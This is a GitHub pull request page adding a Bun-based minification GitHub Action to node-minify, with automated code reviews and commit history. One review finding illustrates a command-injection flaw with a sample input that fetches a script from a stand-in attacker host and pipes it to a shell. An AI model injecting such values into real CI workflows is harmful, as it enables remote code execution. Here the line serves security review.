Skip to content

feat(action): add GitHub Action for minification (Phase 1)#2750

Merged
srod merged 16 commits intodevelopfrom
feature/github-action
Jan 7, 2026
Merged

feat(action): add GitHub Action for minification (Phase 1)#2750
srod merged 16 commits intodevelopfrom
feature/github-action

Conversation

@srod
Copy link
Owner

@srod srod commented Jan 6, 2026

Summary

Adds a GitHub Action that allows users to minify JS/CSS files directly in their CI/CD pipelines with detailed reporting.

Features

  • Composite action using Bun for fast execution
  • Supports all node-minify compressors (terser, esbuild, swc, lightningcss, etc.)
  • Job summary with compression statistics
  • Gzip size reporting
  • Configurable compressor options via JSON

Usage

- name: Minify JavaScript
  uses: srod/node-minify/.github/actions/node-minify@main
  with:
    input: "src/app.js"
    output: "dist/app.min.js"
    compressor: "terser"

Files Added

  • .github/actions/node-minify/action.yml - Action definition
  • .github/actions/node-minify/minify.ts - Minification script
  • .github/actions/node-minify/README.md - Documentation
  • .github/workflows/test-action.yml - CI tests for the action
  • .plans/github_action_implementation_plan.md - Implementation plan

Notes

  • resolveCompressor is currently inlined because it's not yet published to npm. After release, will update to use real import from @node-minify/utils.

Phase 1 of GitHub Action implementation. Phase 2 will add PR comments, annotations, and benchmark mode.


Summary by cubic

Adds a composite GitHub Action to minify JS/CSS/HTML in CI with detailed size reporting. Phase 1 delivers fast minification, outputs, a job summary, and security hardening; Phase 2 will add PR comments and benchmark mode.

  • New Features

    • Composite action using Bun for fast JS/CSS/HTML minification.
    • Supports node-minify compressors (terser, esbuild, swc, lightningcss; gcc/yui with auto Java setup and a YUI deprecation warning).
    • Configurable inputs (input/output, compressor, type, options, report-summary, include-gzip, java-version).
    • Outputs: original-size, original-size-formatted, minified-size, minified-size-formatted, reduction-percent, gzip-size, gzip-size-formatted, time-ms.
    • Job summary with compression and gzip stats.
    • Test workflow covers JS and CSS minification.
  • Dependencies

    • Uses oven-sh/setup-bun@v2 (Bun 1.3.5).
    • Installs node-minify packages in RUNNER_TEMP to avoid monorepo conflicts during tests.
    • Temporarily inlines resolveCompressor; adds a changeset to export it from @node-minify/utils.

Written for commit dbc4715. Summary will update on new commits.

Summary by CodeRabbit

  • New Features

    • Added a reusable GitHub Action to minify JavaScript, CSS, and HTML with selectable compressors, optional gzip reporting, Java setup for certain compressors, and detailed metrics (original/minified sizes, reduction %, gzip size, time) plus optional job-summary reporting.
  • Documentation

    • Added a comprehensive usage guide with inputs/outputs, available compressors, examples, and notes.
  • Tests

    • Added CI workflow to validate JS and CSS minification and publish comparative summaries.
  • Planning

    • Included an implementation and rollout plan for the action.

✏️ Tip: You can customize this high-level summary in your review settings.

@changeset-bot
Copy link

changeset-bot bot commented Jan 6, 2026

🦋 Changeset detected

Latest commit: dbc4715

The changes in this PR will be included in the next version bump.

This PR includes changesets to release 30 packages
Name Type
@node-minify/utils Minor
@node-minify/babel-minify Minor
@node-minify/benchmark Minor
@node-minify/clean-css Minor
@node-minify/cli Minor
@node-minify/core Minor
@node-minify/crass Minor
@node-minify/cssnano Minor
@node-minify/csso Minor
@node-minify/esbuild Minor
@node-minify/google-closure-compiler Minor
@node-minify/html-minifier Minor
@node-minify/imagemin Minor
@node-minify/jsonminify Minor
@node-minify/lightningcss Minor
@node-minify/minify-html Minor
@node-minify/no-compress Minor
@node-minify/oxc Minor
@node-minify/sharp Minor
@node-minify/sqwish Minor
@node-minify/svgo Minor
@node-minify/swc Minor
@node-minify/terser Minor
@node-minify/uglify-es Minor
@node-minify/uglify-js Minor
@node-minify/yui Minor
@node-minify/examples Minor
@node-minify/docs Minor
@node-minify/run Minor
@node-minify/types Minor

Not sure what this means? Click here to learn what changesets are.

Click here if you're a maintainer who wants to add another changeset to this PR

@coderabbitai
Copy link
Contributor

coderabbitai bot commented Jan 6, 2026

📝 Walkthrough

Walkthrough

Adds a new node-minify GitHub Action: composite action metadata, a Bun-driven TypeScript runner that dynamically loads @node-minify compressors, measures original/minified (and optional gzip) sizes and time, writes action outputs and an optional job summary, plus README, tests workflow, and an implementation plan.

Changes

Cohort / File(s) Summary
Action metadata & runner
.github/actions/node-minify/action.yml, .github/actions/node-minify/minify.ts
New composite action and TypeScript runner. Conditionally sets up Java, installs Bun and selected @node-minify compressors, dynamically resolves compressors, runs minification, computes original/minified/gzip sizes, reduction %, time, emits outputs and optional job summary.
Documentation
.github/actions/node-minify/README.md
New README describing usage, inputs, outputs, examples, supported compressors (JS/CSS/HTML), options, Java/GCC notes, and license.
Workflows / Tests
.github/workflows/test-action.yml
New CI workflow creating test JS/CSS inputs, running the action with multiple compressors (terser, esbuild, lightningcss), validating outputs, and aggregating results into a workflow summary.
Implementation plan
.plans/github_action_implementation_plan.md
New implementation and rollout plan covering composite vs JS action approaches, inputs/outputs, reporting, benchmarking, phased rollout, and future extensions (caching, budgets, delta mode).

Sequence Diagram(s)

sequenceDiagram
    autonumber
    participant WF as GitHub Workflow
    participant Act as node-minify Action (composite)
    participant Setup as Setup Steps (Java / Bun)
    participant Registry as npm Registry
    participant Runner as minify.ts (Bun)
    participant FS as File System
    participant Compressor as `@node-minify/`*

    WF->>Act: trigger action with inputs
    Act->>Act: validate inputs, optionally setup Java
    Act->>Setup: install Bun, prepare temp dir
    Setup->>Registry: fetch `@node-minify` packages
    Registry-->>Setup: packages
    Act->>FS: copy `minify.ts` into action temp dir
    Act->>Setup: bun run minify.ts (env vars set)
    Setup->>Runner: execute script
    Runner->>FS: read input file (measure original size)
    Runner->>Compressor: dynamic import `@node-minify/{name}`
    Compressor-->>Runner: compressor module/function
    Runner->>Compressor: minify(contents, type, options)
    Compressor-->>Runner: minified output
    Runner->>FS: write output file (measure minified size)
    alt INCLUDE_GZIP == true
        Runner->>Runner: compute gzip size
    end
    Runner->>Act: write outputs to GITHUB_OUTPUT
    Act->>WF: publish job summary / outputs
Loading

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~25 minutes

Poem

🐇 With Bun in my hop and bytes in my paw,
I nibbled the whitespace and fixed every flaw,
Terser and Lightning, a tidy brigade,
I hopped through the code, left lean tracks displayed,
A rabbit’s small cheer for the minified law 🥕

🚥 Pre-merge checks | ✅ 3
✅ Passed checks (3 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title accurately describes the main change: adding a GitHub Action for minification as part of Phase 1 of the implementation.
Docstring Coverage ✅ Passed Docstring coverage is 100.00% which is sufficient. The required threshold is 80.00%.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing touches
  • 📝 Generate docstrings

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link

@cubic-dev-ai cubic-dev-ai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

3 issues found across 5 files

Prompt for AI agents (all issues)

Check if these issues are valid — if so, understand the root cause of each and fix them.


<file name=".github/actions/node-minify/minify.ts">

<violation number="1" location=".github/actions/node-minify/minify.ts:158">
P2: The `multipliers` object is missing entries for `GB` and larger units that `prettyBytes` (used by `getFilesizeGzippedInBytes`) can return. For large gzipped files, this would cause incorrect size calculations (e.g., `1.5 GB` would be calculated as ~2 bytes instead of ~1.6 billion bytes).</violation>
</file>

<file name=".github/actions/node-minify/README.md">

<violation number="1" location=".github/actions/node-minify/README.md:3">
P2: Documentation claims HTML support but doesn't document it. The "Available Compressors" section only lists JS and CSS compressors, and the `type` input only mentions "js or css". Consider either adding an HTML compressors section with usage instructions, or updating the description to only mention JavaScript and CSS.</violation>
</file>

<file name=".github/actions/node-minify/action.yml">

<violation number="1" location=".github/actions/node-minify/action.yml:99">
P0: Command injection vulnerability: `inputs.compressor` is directly interpolated into a shell command. A malicious value like `terser; curl evil.com/x.sh | sh` would execute arbitrary code. Pass as an environment variable and reference with `$COMPRESSOR` instead.</violation>
</file>

Reply with feedback, questions, or to request a fix. Tag @cubic-dev-ai to re-run a review.

@greptile-apps
Copy link

greptile-apps bot commented Jan 6, 2026

Greptile Summary

This PR adds a well-structured GitHub Action for minifying JS/CSS/HTML files in CI/CD pipelines. The implementation uses a composite action with Bun for fast execution, supports all node-minify compressors, and provides detailed job summaries with compression statistics.

Key Changes:

  • Composite action definition (action.yml) with comprehensive inputs/outputs for minification configuration
  • TypeScript minification script (minify.ts) with dynamic compressor resolution (temporarily inlined until published to npm)
  • Test workflow covering JS (terser, esbuild) and CSS (lightningcss) minification with validation
  • Complete documentation with usage examples and compressor compatibility notes
  • Proper security hardening (no command injection, validated inputs, proper Java setup)

Strengths:

  • Clean separation of concerns between action definition and implementation script
  • Comprehensive error handling and validation
  • Good test coverage with assertions for reduction percentage
  • Well-documented with clear examples for different use cases
  • Security-conscious implementation (previous commits show fixes for command injection)
  • Deprecation warning for YUI compressor

Suggestions:

  • Consider adding early validation for compressors that require the type input (esbuild, lightningcss, yui) to provide clearer error messages
  • The Java setup is optional but gcc/yui require Java; consider making this requirement more explicit or auto-detecting when to set up Java

Confidence Score: 4/5

  • This PR is safe to merge with minimal risk
  • Score reflects solid implementation quality with proper error handling, security considerations, and comprehensive testing. The suggestions are minor improvements around user experience (clearer error messages) rather than critical bugs. The code follows best practices, has been iteratively improved through multiple commits addressing security and correctness, and includes good documentation.
  • No files require special attention

Important Files Changed

Filename Overview
.github/actions/node-minify/action.yml Composite action definition with inputs/outputs for minification; Java setup conditional could be more defensive
.github/actions/node-minify/minify.ts Minification script with dynamic compressor resolution; clean implementation with proper error handling
.github/workflows/test-action.yml Comprehensive CI test workflow for JS and CSS minification with proper validation
.github/actions/node-minify/README.md Complete documentation with usage examples, inputs/outputs table, and compressor list

Sequence Diagram

sequenceDiagram
    participant User as User Workflow
    participant Action as GitHub Action
    participant Java as setup-java
    participant Bun as setup-bun
    participant Install as Install Step
    participant Minify as minify.ts
    participant Core as @node-minify/core
    participant Summary as Job Summary

    User->>Action: Trigger with inputs (input, output, compressor)
    
    alt compressor is gcc/yui AND java-version provided
        Action->>Java: Setup Java (temurin)
        Java-->>Action: Java ready
    end
    
    alt compressor is yui
        Action->>Action: Emit deprecation warning
    end
    
    Action->>Bun: Setup Bun 1.1.38
    Bun-->>Action: Bun ready
    
    Action->>Install: Install dependencies
    Install->>Install: Create temp dir in RUNNER_TEMP
    Install->>Install: bun init -y
    Install->>Install: bun add @node-minify packages
    Install->>Install: Copy minify.ts to temp
    Install-->>Action: Dependencies ready
    
    Action->>Minify: Execute bun run minify.ts
    Minify->>Minify: Read env vars (INPUT_FILE, OUTPUT_FILE, etc.)
    Minify->>Minify: Validate input file exists
    Minify->>Minify: Parse options JSON
    Minify->>Minify: resolveCompressor(name)
    Minify->>Core: minify({ compressor, input, output, type, options })
    Core->>Core: Run compressor on input
    Core-->>Minify: Minified output written
    Minify->>Minify: Calculate sizes & reduction %
    Minify->>Minify: Calculate gzip size (if enabled)
    Minify->>Minify: Write outputs to GITHUB_OUTPUT
    Minify-->>Action: Outputs set
    
    alt report-summary is true
        Action->>Summary: Generate job summary table
        Summary-->>User: Display metrics in job summary
    end
    
    Action-->>User: Return outputs (sizes, reduction %, time)
Loading

Copy link

@greptile-apps greptile-apps bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

5 files reviewed, 2 comments

Edit Code Review Agent Settings | Greptile

Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (10)
.github/actions/node-minify/minify.ts (5)

47-51: Fallback to any function export may be unpredictable.

If a module exports multiple functions, Object.values(mod) iteration order isn't guaranteed to pick the correct compressor. Consider logging a warning when using this fallback so users know which function was selected.

🔎 Proposed fix
     for (const value of Object.values(mod)) {
         if (typeof value === "function") {
+            console.warn(`Using fallback function export for '${packageName}'`);
             return { compressor: value, label: name };
         }
     }

77-84: Deprecated ::set-output command used as fallback.

The ::set-output workflow command was deprecated by GitHub. While the primary path using GITHUB_OUTPUT is correct, the fallback may produce deprecation warnings. Consider removing the fallback or logging a warning when it's used, since GITHUB_OUTPUT should always be available in modern runners.

🔎 Proposed fix
 function setOutput(name: string, value: string | number): void {
     const outputFile = process.env.GITHUB_OUTPUT;
     if (outputFile) {
         appendFileSync(outputFile, `${name}=${value}\n`);
     } else {
-        console.log(`::set-output name=${name}::${value}`);
+        console.warn("GITHUB_OUTPUT not set; output will not be captured");
     }
 }

92-94: Consider validating compressor name against allowed list.

The compressorName is used directly in a dynamic import at line 35 (@node-minify/${name}). While the action.yml provides defaults and the composite action controls the input, validating against KNOWN_COMPRESSOR_EXPORTS keys would add defense-in-depth.

🔎 Proposed fix
     const compressorName = process.env.COMPRESSOR || "terser";
+    const validCompressors = Object.keys(KNOWN_COMPRESSOR_EXPORTS);
+    if (!validCompressors.includes(compressorName)) {
+        console.error(`::error::Unknown compressor '${compressorName}'. Valid options: ${validCompressors.join(", ")}`);
+        process.exit(1);
+    }
     const fileType = process.env.FILE_TYPE;

119-119: Invalid JSON options will produce a confusing error message.

If the user provides malformed JSON in the options input, the error will be reported as "Minification failed: Unexpected token..." which doesn't clearly indicate the issue is with the options JSON.

🔎 Proposed fix
-        const options = JSON.parse(optionsJson);
+        let options: Record<string, unknown>;
+        try {
+            options = JSON.parse(optionsJson);
+        } catch (e) {
+            console.error(`::error::Invalid JSON in OPTIONS: ${optionsJson}`);
+            process.exit(1);
+        }

204-204: Unhandled promise rejection at top level.

If an error occurs outside the try-catch block (e.g., during initial variable assignments before line 116), the promise rejection would be unhandled. Adding .catch() ensures consistent error reporting.

🔎 Proposed fix
-run();
+run().catch((error) => {
+    const message = error instanceof Error ? error.message : "Unknown error";
+    console.error(`::error::Minification failed: ${message}`);
+    process.exit(1);
+});
.github/actions/node-minify/action.yml (2)

70-76: Java setup condition doesn't verify compressor requires Java.

The condition only checks if java-version is provided, but doesn't verify the compressor actually needs Java. Per the implementation plan, the condition should also include contains(fromJSON('["gcc", "google-closure-compiler", "yui"]'), inputs.compressor). While unnecessary Java setup is harmless, it wastes CI time.

🔎 Proposed fix
     - name: Setup Java (for gcc/yui)
-      if: inputs.java-version != ''
+      if: inputs.java-version != '' && contains(fromJSON('["gcc", "google-closure-compiler", "yui"]'), inputs.compressor)
       uses: actions/setup-java@v4
       with:
         distribution: "temurin"
         java-version: ${{ inputs.java-version }}

85-101: LGTM!

Good approach installing dependencies in RUNNER_TEMP to avoid workspace conflicts. However, Bun version 1.1.38 is significantly outdated—the latest stable version is v1.2.20 (released August 2025). Update to a more recent version.

.plans/github_action_implementation_plan.md (1)

54-59: Consider adding language specifiers to fenced code blocks.

Static analysis flagged several fenced code blocks without language specifiers (lines 54, 65, 267, 383). While this is a planning document, adding language hints improves readability in markdown renderers.

.github/workflows/test-action.yml (2)

47-61: Consider adding assertions on reduction percentage.

The verification only checks if the output file exists. Adding an assertion that reduction-percent is greater than 0 would catch cases where minification produces output but doesn't actually reduce the file size.

🔎 Proposed fix
       - name: Verify terser outputs
         run: |
           echo "Original size: ${{ steps.minify-terser.outputs.original-size-formatted }}"
           echo "Minified size: ${{ steps.minify-terser.outputs.minified-size-formatted }}"
           echo "Reduction: ${{ steps.minify-terser.outputs.reduction-percent }}%"
           echo "Gzip size: ${{ steps.minify-terser.outputs.gzip-size-formatted }}"
           echo "Time: ${{ steps.minify-terser.outputs.time-ms }}ms"
           
           if [ ! -f "test-action/output.min.js" ]; then
             echo "::error::Output file was not created"
             exit 1
           fi
           
+          # Verify minification actually reduced file size
+          if [ "$(echo '${{ steps.minify-terser.outputs.reduction-percent }} > 0' | bc -l)" -ne 1 ]; then
+            echo "::error::Reduction percentage should be > 0"
+            exit 1
+          fi
+          
           echo "Output file content:"
           cat test-action/output.min.js

123-128: CSS verification step could also benefit from reduction assertion.

Similar to the JS test, consider adding an assertion that the CSS minification actually reduced file size.

📜 Review details

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 31f70a5 and c895dac.

📒 Files selected for processing (5)
  • .github/actions/node-minify/README.md
  • .github/actions/node-minify/action.yml
  • .github/actions/node-minify/minify.ts
  • .github/workflows/test-action.yml
  • .plans/github_action_implementation_plan.md
🧰 Additional context used
🧬 Code graph analysis (1)
.github/actions/node-minify/minify.ts (3)
packages/core/src/index.ts (1)
  • minify (21-27)
examples/server.js (1)
  • result (27-27)
packages/cli/src/spinner.ts (1)
  • error (61-61)
🪛 LanguageTool
.plans/github_action_implementation_plan.md

[uncategorized] ~35-~35: The official name of this software platform is spelled with a capital “H”.
Context: ...ly inlines resolveCompressor logic in .github/actions/node-minify/minify.ts because ...

(GITHUB)


[uncategorized] ~1065-~1065: The operating system from Apple is written “macOS”.
Context: ...ly | | Cross-platform | Test on ubuntu, macos, windows runners | | Bun vs Node | Supp...

(MAC_OS)

🪛 markdownlint-cli2 (0.18.1)
.plans/github_action_implementation_plan.md

54-54: Fenced code blocks should have a language specified

(MD040, fenced-code-language)


65-65: Fenced code blocks should have a language specified

(MD040, fenced-code-language)


252-252: Fenced code blocks should have a language specified

(MD040, fenced-code-language)


267-267: Fenced code blocks should have a language specified

(MD040, fenced-code-language)


383-383: Fenced code blocks should have a language specified

(MD040, fenced-code-language)

⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (8)
  • GitHub Check: cubic · AI code reviewer
  • GitHub Check: Greptile Review
  • GitHub Check: test (windows-latest, 20.x)
  • GitHub Check: test (ubuntu-latest, 20.x)
  • GitHub Check: test (ubuntu-latest, 22.x)
  • GitHub Check: test (ubuntu-latest, 24.x)
  • GitHub Check: test (windows-latest, 24.x)
  • GitHub Check: test (windows-latest, 22.x)
🔇 Additional comments (13)
.github/actions/node-minify/minify.ts (3)

1-6: LGTM!

Clean imports using Node.js built-in modules with node: prefix and proper external dependencies.


69-75: LGTM!

The formatBytes function correctly handles the zero-byte edge case and uses standard SI prefixes.


184-186: Minor inconsistency in null handling for gzip outputs.

gzip-size outputs an empty string when null, while gzip-size-formatted outputs "N/A". This is acceptable but may cause minor confusion for consumers expecting consistent behavior.

.github/actions/node-minify/README.md (3)

1-16: LGTM!

Clear and concise documentation with a practical basic example that correctly demonstrates action usage.


38-69: LGTM!

Input documentation is accurate and the compressor categorization by Java requirement is helpful for users.


71-118: LGTM!

Output documentation and examples are well-structured. The GCC example correctly demonstrates the Java setup prerequisite pattern.

.github/actions/node-minify/action.yml (3)

1-40: LGTM!

Well-structured action metadata with clear input descriptions and sensible defaults. Good use of branding and author attribution.


41-66: LGTM!

Outputs are properly wired from the minify step with clear descriptions.


103-136: LGTM!

The minification step properly passes environment variables, and the job summary generates a clean markdown table with all relevant metrics.

.plans/github_action_implementation_plan.md (2)

35-39: LGTM!

Good practice documenting the TODO for reverting to the npm package import after resolveCompressor is published. This ensures the temporary workaround is tracked.


1057-1069: LGTM!

Thorough risk assessment with practical mitigations. Good coverage of Java-related considerations and yui deprecation handling.

.github/workflows/test-action.yml (2)

1-14: LGTM!

Good workflow configuration with appropriate path filters to only run tests when relevant files change. Including workflow_dispatch enables manual triggering for debugging.


130-136: LGTM!

The summary job correctly uses needs to depend on both test jobs, ensuring it only runs after all tests pass.

@srod
Copy link
Owner Author

srod commented Jan 6, 2026

@greptile

@coderabbitai
Copy link
Contributor

coderabbitai bot commented Jan 6, 2026

Caution

Docstrings generation - FAILED

An unexpected error occurred while opening a pull request: Failed to open a pull request.

coderabbitai bot added a commit that referenced this pull request Jan 6, 2026
Docstrings generation was requested by @srod.

* #2750 (comment)

The following files were modified:

* `.github/actions/node-minify/minify.ts`
@srod
Copy link
Owner Author

srod commented Jan 6, 2026

@greptile

Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Fix all issues with AI Agents
In @.github/actions/node-minify/minify.ts:
- Around line 82-88: formatBytes can compute i >= sizes.length for very large
byte counts, causing sizes[i] to be undefined; clamp i before indexing or extend
the units. Fix formatBytes by computing const i =
Math.min(Math.floor(Math.log(bytes) / Math.log(k)), sizes.length - 1) (or add
"TB", "PB", etc. to the sizes array) and then use that clamped i when dividing
and looking up sizes[i], ensuring no out-of-bounds access for huge byte values.
🧹 Nitpick comments (2)
.github/actions/node-minify/action.yml (1)

119-137: Job summary may break with special characters in file paths.

File paths containing markdown-significant characters (backticks, pipes, newlines) could break the summary table formatting. This is cosmetic only and doesn't affect functionality. Consider escaping or sanitizing if robustness is desired.

.github/actions/node-minify/minify.ts (1)

193-208: Consider adding a fallback warning for unrecognized units.

The multipliers map now includes GB (addressing the past review), but prettyBytes can theoretically return TB and higher. While such large gzipped outputs are impractical for minification, the silent fallback (multipliers[unit] || 1) would yield incorrect bytes if an unknown unit appears. A console warning would aid debugging:

🔎 Proposed enhancement
                 const multipliers: Record<string, number> = {
                     B: 1,
                     kB: 1024,
                     MB: 1024 * 1024,
                     GB: 1024 * 1024 * 1024,
+                    TB: 1024 * 1024 * 1024 * 1024,
                 };
-                gzipSize = Math.round(value * (multipliers[unit] || 1));
+                const multiplier = multipliers[unit];
+                if (!multiplier) {
+                    console.warn(`Unknown unit '${unit}' in gzip result: ${gzipResult}`);
+                }
+                gzipSize = Math.round(value * (multiplier || 1));
                 gzipSizeFormatted = gzipResult;
📜 Review details

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 4ce0414 and cc4a1e6.

📒 Files selected for processing (3)
  • .github/actions/node-minify/action.yml
  • .github/actions/node-minify/minify.ts
  • .github/workflows/test-action.yml
🚧 Files skipped from review as they are similar to previous changes (1)
  • .github/workflows/test-action.yml
🧰 Additional context used
🧬 Code graph analysis (1)
.github/actions/node-minify/minify.ts (1)
packages/core/src/index.ts (1)
  • minify (21-27)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (7)
  • GitHub Check: Greptile Review
  • GitHub Check: test (windows-latest, 20.x)
  • GitHub Check: test (windows-latest, 22.x)
  • GitHub Check: test (windows-latest, 24.x)
  • GitHub Check: test (ubuntu-latest, 24.x)
  • GitHub Check: test (ubuntu-latest, 22.x)
  • GitHub Check: test (ubuntu-latest, 20.x)
🔇 Additional comments (10)
.github/actions/node-minify/action.yml (3)

1-39: LGTM!

The action metadata and input definitions are well-structured with sensible defaults. The conditional Java setup (line 72) properly gates Java installation to only when needed for gcc/yui compressors.


41-65: LGTM!

Output definitions correctly map to the minify step outputs with clear descriptions.


85-102: Bun version 1.1.38 is outdated (1.3.5 is current as of January 2026), but version pinning is acceptable for reproducibility.

The dependency installation correctly uses environment variables to prevent command injection—the "@node-minify/${COMPRESSOR}" construction is safely quoted. Code looks good.

.github/actions/node-minify/minify.ts (7)

1-30: LGTM!

The imports are appropriate and the KNOWN_COMPRESSOR_EXPORTS mapping comprehensively covers all node-minify compressor packages with their correct export names.


32-63: LGTM!

The resolveCompressor function implements a robust fallback strategy: known export → default export → first function export. The error messaging is clear and the docstring accurately describes the behavior.


90-103: LGTM!

The setOutput function correctly requires GITHUB_OUTPUT and removes the deprecated ::set-output fallback. The implementation follows GitHub Actions' current output protocol.


105-113: LGTM!

Simple and correct file size helper.


125-160: LGTM!

Input validation is thorough with proper GitHub Actions error formatting. The JSON parsing error handling with clear messaging was a good addition per the commit history.


210-237: LGTM!

Result aggregation and output emission are well-structured. The null handling for optional gzip values with sensible defaults ("" and "N/A") is appropriate.


238-250: LGTM!

Error handling is comprehensive with proper GitHub Actions error formatting. The top-level catch ensures unhandled promise rejections are properly reported, which was a good addition per the commit history.

Copy link

@greptile-apps greptile-apps bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

5 files reviewed, 1 comment

Edit Code Review Agent Settings | Greptile

srod and others added 15 commits January 7, 2026 18:39
- Define composite action architecture for MVP
- Document Java requirements for gcc/yui compressors
- Include feature specs, reporting options, usage examples
- Plan phases: MVP composite -> JS action -> marketplace
MVP composite action implementation:
- action.yml with inputs for compressor, input/output, options
- minify.ts script using @node-minify/core programmatic API
- Outputs: original-size, minified-size, reduction-percent, gzip-size, time-ms
- Job summary with compression statistics
- Java support for gcc/yui with deprecation warning
- Test workflow for JS and CSS minification
…e conflict

- Install packages in RUNNER_TEMP to avoid Bun workspace detection
- Use WORKSPACE_DIR env var for file path resolution
- Fixes dependency loop when testing action in monorepo
The published @node-minify/utils@10.2.0 doesn't export resolveCompressor yet.
Inline the compressor resolution logic until the next release.
Pass compressor via environment variable and quote the package name
to prevent shell injection attacks from malicious input values.
Docstrings generation was requested by @srod.

* #2750 (comment)

The following files were modified:

* `.github/actions/node-minify/minify.ts`
@srod srod force-pushed the feature/github-action branch from cc4a1e6 to a77d9a3 Compare January 7, 2026 17:39
@srod
Copy link
Owner Author

srod commented Jan 7, 2026

@greptile

Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Fix all issues with AI agents
In @.github/actions/node-minify/action.yml:
- Around line 85-88: Update the pinned Bun version in the GitHub Action step
that currently sets bun-version: "1.1.38" (the step named "Setup Bun" using
oven-sh/setup-bun@v2) to a current stable 1.3.x release (for example
bun-version: "1.3.5") unless 1.1.38 is intentionally required; change only the
bun-version value to the newer patch release and run CI to verify compatibility.
📜 Review details

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between cc4a1e6 and a77d9a3.

⛔ Files ignored due to path filters (1)
  • .changeset/resolve-compressor-export.md is excluded by !.changeset/**
📒 Files selected for processing (5)
  • .github/actions/node-minify/README.md
  • .github/actions/node-minify/action.yml
  • .github/actions/node-minify/minify.ts
  • .github/workflows/test-action.yml
  • .plans/github_action_implementation_plan.md
🚧 Files skipped from review as they are similar to previous changes (3)
  • .github/actions/node-minify/minify.ts
  • .github/actions/node-minify/README.md
  • .github/workflows/test-action.yml
🧰 Additional context used
🪛 LanguageTool
.plans/github_action_implementation_plan.md

[uncategorized] ~35-~35: The official name of this software platform is spelled with a capital “H”.
Context: ...ly inlines resolveCompressor logic in .github/actions/node-minify/minify.ts because ...

(GITHUB)


[uncategorized] ~1065-~1065: The operating system from Apple is written “macOS”.
Context: ...ly | | Cross-platform | Test on ubuntu, macos, windows runners | | Bun vs Node | Supp...

(MAC_OS)

🪛 markdownlint-cli2 (0.18.1)
.plans/github_action_implementation_plan.md

54-54: Fenced code blocks should have a language specified

(MD040, fenced-code-language)


65-65: Fenced code blocks should have a language specified

(MD040, fenced-code-language)


252-252: Fenced code blocks should have a language specified

(MD040, fenced-code-language)


267-267: Fenced code blocks should have a language specified

(MD040, fenced-code-language)


383-383: Fenced code blocks should have a language specified

(MD040, fenced-code-language)

⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (6)
  • GitHub Check: test (ubuntu-latest, 20.x)
  • GitHub Check: test (ubuntu-latest, 22.x)
  • GitHub Check: test (ubuntu-latest, 24.x)
  • GitHub Check: test (windows-latest, 24.x)
  • GitHub Check: test (windows-latest, 20.x)
  • GitHub Check: test (windows-latest, 22.x)
🔇 Additional comments (2)
.github/actions/node-minify/action.yml (1)

90-102: Command injection fix confirmed.

The previous command injection vulnerability has been correctly addressed. The compressor name is now safely passed as an environment variable and referenced with ${COMPRESSOR} instead of being directly interpolated into the command.

.plans/github_action_implementation_plan.md (1)

1-1084: Comprehensive implementation plan aligns well with the actual implementation.

This planning document thoroughly covers the GitHub Action architecture, feature specifications, implementation phases, and operational considerations. The plan correctly identifies the composite action approach (Phase 1) as the MVP, which matches the implemented .github/actions/node-minify/action.yml. Key aspects like Java prerequisites for gcc/yui compressors, Bun setup, and reporting features are well-documented and consistent with the implementation.

The TODO note at lines 35-39 about inlining resolveCompressor until @node-minify/utils is published is good documentation practice.

Copy link

@greptile-apps greptile-apps bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

5 files reviewed, 2 comments

Edit Code Review Agent Settings | Greptile

using: "composite"
steps:
# Setup Java for gcc/yui compressors (only if java-version is specified and compressor needs it)
- name: Setup Java (for gcc/yui)
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

style: Java setup runs only if java-version is provided, but gcc and yui require Java. Users who specify these compressors without java-version will fail later during minification.

Consider one of:

  1. Make java-version required when using gcc/yui
  2. Auto-detect and set up Java with a default version when these compressors are used
  3. Add clear validation/error early in the workflow
Prompt To Fix With AI
This is a comment left during a code review.
Path: .github/actions/node-minify/action.yml
Line: 71:71

Comment:
**style:** Java setup runs only if `java-version` is provided, but `gcc` and `yui` require Java. Users who specify these compressors without `java-version` will fail later during minification.

Consider one of:
1. Make `java-version` required when using gcc/yui
2. Auto-detect and set up Java with a default version when these compressors are used
3. Add clear validation/error early in the workflow

How can I resolve this? If you propose a fix, please make it concise.

Comment on lines +166 to +174
await minify({
compressor: compressor as Parameters<
typeof minify
>[0]["compressor"],
input: inputPath,
output: outputPath,
...(fileType && { type: fileType as "js" | "css" }),
...(Object.keys(options).length > 0 && { options }),
});
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

style: type field is only passed to minify() when fileType is truthy, but some compressors (esbuild, lightningcss, yui) require it. The validation happens inside @node-minify/core, but users won't know until minification fails.

Suggested change
await minify({
compressor: compressor as Parameters<
typeof minify
>[0]["compressor"],
input: inputPath,
output: outputPath,
...(fileType && { type: fileType as "js" | "css" }),
...(Object.keys(options).length > 0 && { options }),
});
// Validate type requirement for specific compressors
